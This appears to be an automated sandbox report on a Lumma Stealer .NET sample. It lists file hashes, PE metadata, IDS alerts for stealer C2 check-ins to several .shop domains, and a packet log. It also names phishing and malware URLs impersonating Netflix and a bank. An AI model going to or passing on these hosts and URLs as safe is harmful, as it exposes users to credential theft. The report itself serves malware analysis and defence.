a0e9f5d64349fb13191bc781f81f42e1	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	https://klvegaold.com/clicks/MjM4ODJfMjgzMjU2XzIzLjAwMDg3XzEzXzE3MjczMjgwNzU5NDEwMDQ5MTcyXzIwXjkwMGMwZGQ5NzJkYzQ2OTYzZTUyM2Y4ZDA1YzJjOGM4XjA4LjkuMjYuMjAyNA==	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	https://trivedikavya.github.io/netflix_clone/	Get hash	malicious	HTMLPhisher	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182
	http://intesa-it.serv00.net/it/conto/	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 188.114.97.3 188.114.96.3 104.102.49.254 104.21.2.13 104.21.58.182

Process:	C:\Users\user\Desktop\kewyIO69TI.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\kewyIO69TI.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.988942382031895
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	kewyIO69TI.exe
File size:	375'296 bytes
MD5:	ee766f8a002bc94c1ed54dc7602547c9
SHA1:	3cd317e022a72b3e7b25b3d87eecfb2fc6aafc5d
SHA256:	aaefdf4d8df6b740054e00d65e9c56d081eaec7fe16e525b3895a6d882fb4cc0
SHA512:	441a9cba71d038caca31614156c5f18f25826a5ee461f989b97519790eadaf3f19ceffcc9bf36017faf7f689ec56974d0a45872b004fd7f7d9561dd1e8a5b5b0
SSDEEP:	6144:U097ZR4GXYSmClbH4yjrz5fCKdjH3avEz2cXtTM4fdCR3AkyQloBfqA27/V7jCnI:NlIOYyvz5fljH3avEXM4fdCykTohqAMo
TLSH:	FE842374B497D73EEFA166B6B7B38FDA86B0D00141D8B24A0370970999CF239EE24754
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...h..f............................>.... ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x45ce3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F58368 [Thu Sep 26 15:53:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5cde8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5e000	0x5c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5ccb0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5ae44	0x5b000	4467df89ee73d7db1162edc5ecc10192	False	0.9936711237980769	data	7.995225339741643	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x5e000	0x5c8	0x600	a589a4206018b0dca6ae47d5c97f9001	False	0.4375	data	4.119926545451393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x60000	0xc	0x200	ef500bd10f72fd04b5e7aed0b41ff3fd	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x5e0a0	0x334	data			0.4426829268292683
RT_MANIFEST	0x5e3d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T11:19:08.742677+0200	2056048	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)	1	192.168.2.7	59462	1.1.1.1	53	UDP
2024-09-27T11:19:08.756688+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.7	52534	1.1.1.1	53	UDP
2024-09-27T11:19:09.241941+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.7	49700	104.21.4.136	443	TCP
2024-09-27T11:19:09.761554+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49700	104.21.4.136	443	TCP
2024-09-27T11:19:09.761554+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.4.136	443	TCP
2024-09-27T11:19:09.791657+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.7	54428	1.1.1.1	53	UDP
2024-09-27T11:19:10.388673+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-09-27T11:19:10.980022+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-09-27T11:19:10.980022+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	188.114.96.3	443	TCP
2024-09-27T11:19:10.982845+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.7	53004	1.1.1.1	53	UDP
2024-09-27T11:19:11.461179+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-09-27T11:19:11.913044+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-09-27T11:19:11.913044+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-09-27T11:19:11.916804+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.7	54688	1.1.1.1	53	UDP
2024-09-27T11:19:12.420066+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-09-27T11:19:12.867203+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-09-27T11:19:12.867203+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-09-27T11:19:12.880479+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.7	59089	1.1.1.1	53	UDP
2024-09-27T11:19:13.390734+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.7	49704	104.21.58.182	443	TCP
2024-09-27T11:19:13.818966+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49704	104.21.58.182	443	TCP
2024-09-27T11:19:13.818966+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49704	104.21.58.182	443	TCP
2024-09-27T11:19:13.822074+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.7	62216	1.1.1.1	53	UDP
2024-09-27T11:19:14.321187+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.7	49705	188.114.97.3	443	TCP
2024-09-27T11:19:14.778306+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49705	188.114.97.3	443	TCP
2024-09-27T11:19:14.778306+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	188.114.97.3	443	TCP
2024-09-27T11:19:14.780197+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.7	49493	1.1.1.1	53	UDP
2024-09-27T11:19:15.258313+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-09-27T11:19:15.705280+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-09-27T11:19:15.705280+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-09-27T11:19:15.706895+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.7	55135	1.1.1.1	53	UDP
2024-09-27T11:19:16.189594+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.7	49707	104.21.77.130	443	TCP
2024-09-27T11:19:16.606928+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49707	104.21.77.130	443	TCP
2024-09-27T11:19:16.606928+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49707	104.21.77.130	443	TCP
2024-09-27T11:19:18.776975+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49709	104.21.2.13	443	TCP
2024-09-27T11:19:18.776975+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49709	104.21.2.13	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:19:08.774766922 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:08.774848938 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:08.774914980 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:08.778871059 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:08.778898001 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.241782904 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.241940975 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.245635033 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.245656967 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.245915890 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.293956995 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.330127001 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.330127001 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.330297947 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.761573076 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.761666059 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.761907101 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.777127028 CEST	49700	443	192.168.2.7	104.21.4.136
Sep 27, 2024 11:19:09.777175903 CEST	443	49700	104.21.4.136	192.168.2.7
Sep 27, 2024 11:19:09.907802105 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:09.907866001 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:09.907960892 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:09.908525944 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:09.908539057 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.388593912 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.388673067 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.537415028 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.537456036 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.537821054 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.540781021 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.540781021 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.540894985 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.979285955 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.979371071 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.979444981 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.979686975 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.979710102 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.979721069 CEST	49701	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.979727030 CEST	443	49701	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.999598980 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:10.999645948 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:10.999728918 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.000171900 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.000184059 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.461108923 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.461179018 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.463076115 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.463093042 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.463392019 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.464948893 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.464950085 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.465023041 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.913062096 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.913153887 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.913213968 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.913409948 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.913429976 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.913443089 CEST	49702	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:11.913450956 CEST	443	49702	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:11.937189102 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:11.937226057 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:11.937696934 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:11.937696934 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:11.937731981 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.419939041 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.420066118 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.421864986 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.421875954 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.422118902 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.423351049 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.423388004 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.423427105 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.867187023 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.867274046 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.867353916 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.878937960 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.878938913 CEST	49703	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:12.878972054 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.878983021 CEST	443	49703	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:12.896917105 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:12.896970987 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:12.897085905 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:12.897356033 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:12.897367954 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.390624046 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.390733957 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.392246008 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.392256975 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.392501116 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.393594980 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.393620968 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.393650055 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.818983078 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.819077015 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.819140911 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.819274902 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.819293976 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.819307089 CEST	49704	443	192.168.2.7	104.21.58.182
Sep 27, 2024 11:19:13.819310904 CEST	443	49704	104.21.58.182	192.168.2.7
Sep 27, 2024 11:19:13.839633942 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:13.839678049 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:13.839766026 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:13.840064049 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:13.840085030 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.321120977 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.321187019 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.322717905 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.322725058 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.323040009 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.324187994 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.324224949 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.324258089 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.778337955 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.778580904 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.778659105 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.778712034 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.778729916 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.778753996 CEST	49705	443	192.168.2.7	188.114.97.3
Sep 27, 2024 11:19:14.778759956 CEST	443	49705	188.114.97.3	192.168.2.7
Sep 27, 2024 11:19:14.793091059 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:14.793135881 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:14.793206930 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:14.793519974 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:14.793536901 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.258179903 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.258312941 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.259841919 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.259860992 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.260102034 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.261233091 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.261262894 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.261303902 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.705291986 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.705390930 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.705543995 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.705688953 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.705703020 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.705718994 CEST	49706	443	192.168.2.7	188.114.96.3
Sep 27, 2024 11:19:15.705723047 CEST	443	49706	188.114.96.3	192.168.2.7
Sep 27, 2024 11:19:15.724312067 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:15.724339008 CEST	443	49707	104.21.77.130	192.168.2.7
